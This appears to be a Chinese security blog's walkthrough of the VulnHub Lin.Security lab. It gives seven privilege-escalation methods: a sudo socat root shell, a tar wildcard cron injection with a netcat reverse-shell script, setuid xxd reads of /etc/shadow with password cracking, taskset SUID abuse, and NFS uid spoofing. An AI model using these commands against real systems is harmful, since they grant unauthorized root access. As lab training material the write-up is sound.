本文由 简悦 SimpRead 转码, 原文地址 mp.weixin.qq.com
大余安全
大家好,这里是 大余安全 的第 28 篇文章,本公众号会每日分享攻防渗透技术给大家。
靶机地址:https://www.vulnhub.com/entry/linsecurity-1,244/
靶机难度:中级(CTF)
靶机发布日期:2018 年 7 月 11 日
靶机描述:在 in.security,我们希望开发一个 Linux 虚拟机,该虚拟机在编写本文时基于最新的 Ubuntu 发行版(18.04 LTS),但存在许多漏洞,这些漏洞使用户无法升级扎根在盒子上。旨在帮助理解某些内置应用程序和服务(如果配置错误)可能会被攻击者滥用。
我们已将该框配置为模拟真实世界的漏洞(尽管位于单个主机上),这将帮助您完善本地特权升级技能,技术和工具集。从简单到中级都有许多挑战,我们很高兴看到您用来解决这些挑战的方法!
该图像不到 1.7 GB,可以使用上面的链接下载。打开 OVA 文件时,将导入并使用 NAT 适配器配置名为 lin.security 的 VM,但是可以通过首选虚拟化平台的首选项将其更改为桥接。
首先,您可以使用以下凭据登录主机:bob / secret
目标:得到 root 权限
请注意:对于所有这些计算机,我已经使用 VMware 运行下载的计算机。我将使用 Kali Linux 作为解决该 CTF 的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,我概不负责。
一、七种攻击方式
这边直接给了低权限的用户密码...bob / secret,这边我还是习惯于 kali 登录他,进行渗透...
IP:192.168.56.125
开了很多端口... 还是从本地 ssh 上去登录吧...
看到介绍这个靶机应该是漏洞百出.... 供我们学习操作用的...
先拿个权限试试,看到没开 80 端口... 估计是走 linux 类型的提权方式了....
尝试在谷歌找这个版本的漏洞,都试了几个,目前没成功过....
可以看到 bob 被授予访问权限以在可扩展程序上运行范围内容有很多...
这边 https://gtfobins.github.io / 参考这个学习 github 里面很多讲解 sudo 下的提权...
方法 1
如果 sudo -l 遇到 socat,可以直接一条命令拿权限...
sudo socat tcp-listen:6666,reuseaddr,fork exec:sh,pty,stderr,setsid,sigint,sane
soat FILE:`tty`,raw,echo=0 TCP:127.0.0.1:6666
提权成功....!!!
这也提权成功...!!
这也成功了!!!
还可以用 git... 提权
等等.... 只要 sudo -l 中 / user/bin / 目录下的形式都有方法提权... 参考:https://gtfobins.github.io/
方法 2
在现代 Linux 系统上,用户密码哈希存储在 / etc/shadow 中。如果我们查看 / etc/passwd,通常会看到以下内容:
roroot:x:0:0:root:/root:/bin/bash....
在这种情况下,x 表示该用户的密码哈希存储在 / etc/shadow 中。但是,可以用此 x 替换 / etc/passwd 中的哈希,然后由主机对其进行评估....
列如 JTR 或 hash-identifier 之类的工具将有助于将该哈希识别为 descrypt,然后我们可以将其扔给 JTR 或 hashcat 进行破解看看.....
方法 3
cron 作业方法攻击,这里可以参考
https://www.hackingarticles.in/exploiting-wildcard-for-privilege-escalation
链接在上面()有...
在攻击会话中执行...
echo "mkfifo /tmp/dayu; nc 127.0.0.1 6666 0</tmp/dayu | /bin/sh >/tmp/dayu 2>&1; rm /tmp/dayu" > shell.sh && chmod +x shell.sh
echo "" > "--checkpoint-action=exec=sh shell.sh"
echo "" > --checkpoint=1
在有关 Lin.security 的另一个会话中,我们需要运行一个侦听器... 成功提权
方法 4
利用隐藏文件....
有时最简单的漏洞隐藏在视线中....
找下...
用 ls 或者 find 找都可以...
ls -alR /home
或者....
find / -name ".*" -type f -path "/home/*" -exec ls -al {} \;
(此命令随意都可以套用)
使用 secret 进入了 susan 用户...
提权需要密码... 找下系统中有哪些文件
命令:ls -alt find / -perm -4000 -type f 2>/dev/null
|grep -v snap
发现 XXD 文件... 可以找到账号...
http://wiki.christophchamp.com/index.php?title=Xxd
此命令将从我们传递的文件中读出一个十六进制转储,也可以用另一种方法将转储转换为原始文件,可以使用 xxd 读取任何文件,由于它是 “setuid”,因此我们可以使用 root 权限进行操作...
复制文件 / etc/passwd 和文件 / etc/shadow,将使用 archifamoso rockyou.txt 作为单词列表从 Kali 中进行暴力破解...
root:secret123:0:0:root:/root:/bin/bash
bob:secret:1000:1004:bob:/home/bob:/bin/bash
insecurity:P@ssw0rd:0:0::/:/bin/sh
使用 secret123 登陆...
成功提权....
方法 5
SUID#1 提权...
使用以下命令快速找到所有 SUID 文件:
find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;
这个方法和上面 4 差不多,但是用户不一样... 上面是 susan 用户下的
这里是 bob 用户下的...
方法 6
SUID#2 提权...
使用以下命令快速找到所有 SUID 文件:
发现 taskset 利用
https://gtfobins.github.io/gtfobins/taskset/#suid-enabled
成功提权...
方法 7
NFS(低特权访问)提权....(前面章节也有说过 NFS)
nmap 扫描结果中可以看到 SSH 和 NFS(分别为 TCP 22 和 2049)都已经打开....
确认了 NFS 起来了...
这边用 / home/peter 进行挂载...
在 Kali 上挂载了 NFS 共享,可以创建一个具有与导出(1001/1005)相同的 uid/gid 的新用户,然后又成为该用户即可....
作为 peter,现在可以写入导出文件...
现在可以访问 Lin.security 上的 / home/pete 了... 然后使用 ssh 密匙进行链接即可...
创建好后在 peter 上创建个. ssh 目录,用于放密匙的...
后续继续跟上一样提权即可....
看到靶机的说明介绍应该还有很多很多方法.... 例如还能在 peter 用户下的 strace id 进行提权等等...
如果有更多的方法希望小伙伴和我说说.... 一起交流学习,加油!
由于我们已经成功得到 root 权限,因此完成了简单靶机,希望你们喜欢这台机器,请继续关注大余后期会有更多具有挑战性的机器,一起练习学习。
如果你有其他的方法,欢迎留言。要是有写错了的地方,请你一定要告诉我。要是你觉得这篇博客写的还不错,欢迎分享给身边的人。
如果觉得这篇文章对你有帮助,可以转发到朋友圈,谢谢小伙伴~
欢迎加入渗透学习交流群,想入群的小伙伴们加我微信,共同进步共同成长!
大余安全
一个全栈渗透小技巧的公众号